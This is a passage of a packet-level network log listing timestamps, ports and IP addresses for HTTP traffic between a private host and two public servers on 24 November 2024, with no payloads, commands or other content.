Nov 24, 2024 14:24:33.172867060 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.172910929 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.174139023 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.174607992 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.174654007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.174961090 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.175012112 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.175096035 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.175138950 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.176139116 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.176186085 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.176260948 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.176306963 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.177263975 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.177311897 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.225492954 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.225574970 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.225999117 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.226444006 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.226566076 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.226610899 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.228302956 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.228915930 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.229022026 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.229093075 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.230839014 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.230909109 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.230921984 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.281738043 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.311259031 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.311340094 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.311508894 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.317886114 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.318006992 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.318157911 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.318434000 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.318485975 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.318526030 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.318573952 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.319576025 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.319680929 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.319729090 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.320746899 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.320794106 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.320925951 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.320972919 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.321916103 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.321964979 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.322027922 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.322074890 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.323057890 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.323108912 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.323169947 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.323218107 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.324225903 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.324271917 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.324306965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.324357033 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.325403929 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.325483084 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.325534105 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.326533079 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.326577902 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.326704979 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.326754093 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.327730894 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.327774048 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.327775955 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.327819109 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.328841925 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.328955889 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.329009056 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.330020905 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.330158949 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.330207109 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.331154108 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.331201077 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.331268072 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.331326962 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.332535028 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.332632065 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.332679987 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.333487988 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.333534956 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.333630085 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.333678007 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.334657907 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.334705114 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.334734917 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.334784031 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.335829973 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.335923910 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.335975885 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.336961985 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.337008953 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.337187052 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.337234020 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.338109970 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.338156939 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.338239908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.338282108 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.339246035 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.339293957 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.339381933 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.339428902 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.340405941 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.340459108 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.340605021 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.340651035 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.341625929 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.341686964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.341733932 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.342736006 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.342786074 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.342844963 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.342890978 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.343903065 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.344062090 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.344126940 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.345052958 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.345110893 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.345150948 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.345205069 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.346240997 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.346308947 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.346402884 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.346447945 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.347609043 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.347652912 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.347655058 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.347697973 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.348629951 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.348678112 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.348706961 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.348754883 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.349711895 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.349800110 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.349853039 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.350841045 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.350887060 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.350934029 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.350982904 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.352000952 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.352049112 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.352102041 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.352149010 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.353168964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.353279114 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.353326082 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.354342937 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.354388952 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.354418039 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.354465008 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.355492115 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.355541945 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.355602026 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.355648994 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.356645107 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.356692076 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.356740952 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.356787920 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.357908964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.357954025 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.357960939 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.358007908 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.358964920 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.359011889 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.359045029 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.359092951 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.360150099 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.360191107 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.360220909 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.360683918 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.361321926 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.361371994 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.361438990 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.361530066 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.362442970 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.362493038 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.362514019 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.362555981 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.363590956 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.363641024 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.363678932 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.363832951 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.364746094 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.364800930 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.364859104 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.364897966 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.365881920 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.365936041 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.366046906 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.366178989 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.367074013 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.367170095 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.367216110 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.368233919 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.368355036 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.368397951 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.369544029 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.369584084 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.369673014 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.369719982 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.370631933 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.370677948 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.370677948 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.370724916 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.371701956 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.371754885 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.371784925 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.371828079 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.372854948 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.372899055 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.372951031 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.372997046 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.373985052 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.374036074 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.374072075 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.374130964 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.375169039 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.375212908 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.375338078 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.375384092 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.376319885 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.376368046 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.376415014 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.376465082 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.377486944 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.377592087 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.377638102 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.378561020 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.378601074 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.383157015 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.383263111 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.383308887 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.384047985 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.417403936 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.417499065 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.417567015 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.464092016 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.464196920 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.464250088 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.465014935 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.469011068 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.469161034 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.469213009 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.469930887 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.469971895 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.503133059 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.503204107 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.503326893 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.512171984 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.512281895 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.512341022 CET	49808	80	192.168.2.4	34.116.198.130
Nov 24, 2024 14:24:33.513055086 CET	80	49808	34.116.198.130	192.168.2.4
Nov 24, 2024 14:24:33.519320965 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.519481897 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.519547939 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.519865036 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.519923925 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.519957066 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.519996881 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.520999908 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.521063089 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.521212101 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.521255970 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.522399902 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.522449970 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.522514105 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.522547960 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.523333073 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.523377895 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.523458958 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.523669004 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.524502993 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.524552107 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.524647951 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.524734974 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.525635958 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.525758028 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.525793076 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.526792049 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.526837111 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.526905060 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.526942968 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.527968884 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.528096914 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.528142929 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.529078007 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.529120922 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.529165983 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.529205084 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.530266047 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.530309916 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.530332088 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.530379057 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.531450987 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.531496048 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.531570911 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.531615973 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.532598019 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.532639027 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.532707930 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.533077002 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.533768892 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.533811092 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.533880949 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.533921003 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.534909964 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.534950972 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.535095930 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.535135984 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.536062956 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.536108017 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.536184072 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.536225080 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.537229061 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.537305117 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.537337065 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.537381887 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.538418055 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.538542032 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.538579941 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.539596081 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.539786100 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.539829969 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.540710926 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.540755033 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.540756941 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.540797949 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.541876078 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.541941881 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.541975021 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.542017937 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.543039083 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.543050051 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.543082952 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.544173002 CET	80	49815	185.215.113.16	192.168.2.4
Nov 24, 2024 14:24:33.544214010 CET	49815	80	192.168.2.4	185.215.113.16
Nov 24, 2024 14:24:33.544260025 CET	80	49815	185.215.113.16	192.168.2.4
